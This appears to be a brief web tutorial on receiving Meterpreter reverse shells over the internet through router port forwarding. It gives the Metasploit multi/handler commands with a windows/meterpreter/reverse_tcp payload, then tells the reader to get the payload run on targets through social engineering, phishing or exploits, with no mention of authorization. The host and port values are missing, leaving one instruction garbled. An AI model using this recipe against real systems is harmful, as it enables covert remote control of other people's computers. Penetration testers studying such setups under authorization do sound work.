Getting Meterpreter Over Internet With Port Forwarding

Getting Meterpreter Over Internet With Port Forwarding

Meterpreter is a powerful tool used by penetration testers to gain remote access and control over compromised systems. However, to use Meterpreter over the internet, you need to perform port forwarding on your router to allow inbound traffic on the required port.

1. Here are the steps to get Meterpreter over the internet with port forwarding:

2. Identify the port used by Meterpreter: By default, Meterpreter uses port 4444 for communication. However, if you have changed the default port, you need to identify the new port.

3. Configure port forwarding on your router: Access your router's admin panel and navigate to the port forwarding settings. Add a new rule that forwards the inbound traffic on the Meterpreter port to your local IP address.

4. Start the Meterpreter listener: Open a terminal and start the Meterpreter listener using the following command:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
set LPORT
exploit

Replace with your public IP address and with the port used by Meterpreter.

5. Execute the payload on the target system: You can use various techniques such as social engineering, phishing, or exploiting vulnerabilities to execute the payload on the target system. Once the payload is executed, it will connect back to your listener over the internet, and you will have a Meterpreter session.

Note: Port forwarding can expose your system to security risks, and you should use it carefully. Ensure that you have secured your system and network with the latest security updates, strong passwords, and firewalls.

Getting Meterpreter Over Internet With Port Forwarding

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